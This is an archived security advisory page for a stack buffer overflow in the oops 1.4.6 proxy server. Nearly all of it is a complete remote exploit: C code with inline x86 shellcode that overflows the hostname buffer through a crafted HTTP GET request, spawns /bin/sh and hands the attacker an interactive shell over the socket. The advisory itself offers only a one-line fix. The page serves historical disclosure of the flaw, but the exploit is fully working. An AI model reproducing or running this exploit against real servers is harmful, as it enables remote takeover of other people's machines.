Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: oops2-2.htm

Oops 1.4.6 execute shellcode exploit



Vulnerability

    oops

Affected

    oops-1.4.6

Description

    Dmitry Galyant  found another  hole in  oops-1.4.6.   Just a  code
    fragment:

        /* check if this is full name */
        if ( !strchr(name, '.') ) {
        if ( domain_name[0] ) /* join */ {
            strcpy((char*)tmpname, name);
            strncat((char*)tmpname, domain_name, sizeof(tmpname)-strlen((char*)tmpname) -1 );
            name=(char*)tmpname;
        }
        if ( (result = lookup_dns_cache((char*)tmpname, NULL, 0)) != 0 )
            return(result);
        }

    where tmpname is in stack.  So,..., get a fun with xploit...

    #define	BUFADDR		0xbfafe55f	// ret
    #define OFFSET2		450		// second copy
    #define RETOFF		1363		// ip offset
    
    #include <stdio.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <unistd.h>
    
    /*
       I found two offsets where our shellcode can be placed.
       Since ret value is hardcoded, we should use two copies
       of shellcode. But last part of the second copy can be
       corrupted during procedure processing. Solution is to
       check current offset of the shellcode and jump from
       second copy to the first one. Something like v1r11 :)
       Also we avoids large letters in the shellcode
       and some other characters. We simple dup2(33,0) before
       execve, so be sure you are only connected if you don't
       wanna provide sh3ll for someone else =)   Enough...
    */
    
    
    int
    shellcode(char* buf) {
    __asm__("
	    call	ne0;
    ne0:	popl	%eax;
	    nop;
	    nop;
	    LEN1 = sh - ne0 ;
	    leal	LEN1(%eax),%eax;
	    pushl	%eax;
	    pushl	8(%ebp);
	    call	strcpy;
	    addl	$8,%esp;
	    jmp	done;
    
    
    //-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//
    
    sh:	.fill 6,1,0x90;		// magic nops
	    jmp	me;
    retme:	popl	%esi;
	    nop;
	    movl	%esi,%eax;
	    DELTA = huh - sh - 450;
	    negl	%eax;
	    leal	DELTA(%eax),%eax;
	    negl	%eax;
	    movl	(%eax),%ebx;
	    cmpl	$0x90909090,%ebx;
	    je	huh;		// we are in the first copy yet
	    movl	%esi,%eax;	// jump to first copy
	    leal	-450(%eax),%eax;
	    jmp	*%eax;
    me:	call	retme;
    
    huh:	.fill	5,1,0x90;
	    jmp	call0;		// just one more (we not shure where we are)
    ret0:	popl	%esi;
	    movl	(%esi),%ebx;	// decrypt /bin/sh
	    subl	$0x30303030,%ebx;
	    movl	%ebx,(%esi);
	    movl	4(%esi),%ebx;
	    subl	$0x30303030,%ebx;
	    movl	%ebx,4(%esi);
	    xorl	%eax,%eax;
	    movl	%esi,%edi;
	    negl	%edi;
	    leal	-7(%edi),%edi;
	    negl	%edi;
	    movb	%al,(%edi);	// end it with 0
	    jmp	prep;
    
    call0:	call	ret0;
	    .byte	0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */
    
    dup2:	leal	-4(%esp),%esp;
	    movl	%ecx,(%esp);
	    leal	-4(%esp),%esp;
	    movl	$-33,%eax;
	    negl	%eax;
	    movl	%eax,(%esp);
	    movl	$-0x5a,%eax;
	    negl	%eax;
	    leal	-4(%esp),%esp;
	    int	$0x80;
	    negl	%esp;
	    leal	-0xc(%esp),%esp;
	    negl	%esp;
	    ret;
    
    prep:	xorl	%ecx,%ecx;
	    call	dup2;
	    movb	$1,%cl;
	    call	dup2;
	    movb	$2,%cl;
	    call	dup2;
    
	    xorl	%eax,%eax;
	    leal	-4(%esp),%esp;
	    movl	%eax,(%esp);	// 0
	    leal	-4(%esp),%esp;
	    movl	%esi,(%esp);	// name
	    movl	%esp,%edi;
	    leal	-4(%esp),%esp;
	    movl	%eax,(%esp);	// envp
	    leal	-4(%esp),%esp;
	    movl	%edi,(%esp);	// av[]
	    leal	-4(%esp),%esp;
	    movl	%esi,(%esp);	// name
	    movb	$0x3b,%al;	// execve
	    leal	-4(%esp),%esp;
	    int	$0x80;
	    xorl	%eax,%eax;
	    movl	%eax,(%esp);
	    movl	%eax,%ebx;
	    movb	$1,%al;		// exit
	    leal	-4(%esp),%esp;
	    int	$0x80;
	    nop;			// hip
	    nop;			// hop
	    .byte	0x00;
    done:;
    ");
    }
    
    
    int res(char*,struct sockaddr_in *);
    void spawned_shell(int sock);
    
    
    main(int ac, char** av){
    #define SZ	0x2000
    #define FIL	0xbf
	    char buf[SZ],buf2[SZ],*pc,c;
	    int i,sock;
	    struct sockaddr_in sin;
	    short port=3128;
	    unsigned *pu;
	    memset(buf,FIL,SZ);
	    shellcode(buf);
	    buf[strlen(buf)]=FIL;
	    pc=&buf[OFFSET2];
	    shellcode(pc);
	    pc+=strlen(pc);
	    *pc=FIL;
	    pu=(unsigned*)&buf[RETOFF];
	    *pu=BUFADDR;
	    buf[RETOFF+4]=0;
	    strcpy(buf2,"GET http://p");
	    strcat(buf2,buf);
	    strcat(buf2," HTTP/1.0\r\n\r\n");
	    fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
	    fprintf(stderr,"use for educational purpose only.\n");
	    if(ac<2) {
		    fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
		    exit(0);
	    }
	    pc=av[1];
	    if(ac>2) port=atoi(av[2]);
	    if(!res(pc,&sin)) {
		    fprintf(stderr,"can't resolve %s\n",pc);
		    exit(0);
	    }
	    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	    sin.sin_port=htons(port);
	    if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
		    fprintf(stderr,"can't connect %s:%d\n",pc,port);
		    exit(0);
	    }
	    fprintf(stderr,"Connected. Sending surprise...\n");
	    send(sock,buf2,strlen(buf2),0);
	    spawned_shell(sock);
    }
    
    
    int res(char* host,struct sockaddr_in * ps)
    {
	    struct hostent *he;
	    bzero(ps,sizeof(struct sockaddr_in));
	    ps->sin_family=AF_INET;
	    ps->sin_len=sizeof(struct sockaddr_in);
	    if(!inet_aton(host,&ps->sin_addr))
	    {
		    he=gethostbyname2(host,AF_INET);
		    if(!he) return 0;
		    memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
	    }
	    return 1;
    }
    
    
    
    /*
	    Next was ripped from wildcoyote's gopher sploit.
    */
    void spawned_shell(int sock){
	    char buf[1024];
	    fd_set rset;
	    int i;
    while (1)
     {
  	    FD_ZERO(&rset);
  	    FD_SET(sock,&rset);
  	    FD_SET(STDIN_FILENO,&rset);
  	    select(sock+1,&rset,NULL,NULL,NULL);
  	    if (FD_ISSET(sock,&rset)) {
   		    i=read(sock,buf,1024);
   		    if (i <= 0){
     			    fprintf(stderr,"Connection lost.\n");
     			    exit(0);
   		    }
   		    buf[i]=0;
   		    puts(buf);
  	    }
  	    if (FD_ISSET(STDIN_FILENO,&rset))
  	    {
   		    i=read(STDIN_FILENO,buf,1024);
   		    if (i>0){
			    buf[i]=0;
 			    if(write(sock,buf,i)<0){
 				    fprintf(stderr,"Connection lost.\n");
 				    exit(0);
 			    }
   		    }
  	    }
     }
    }

Solution

    Newer versions shoudl fix that.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH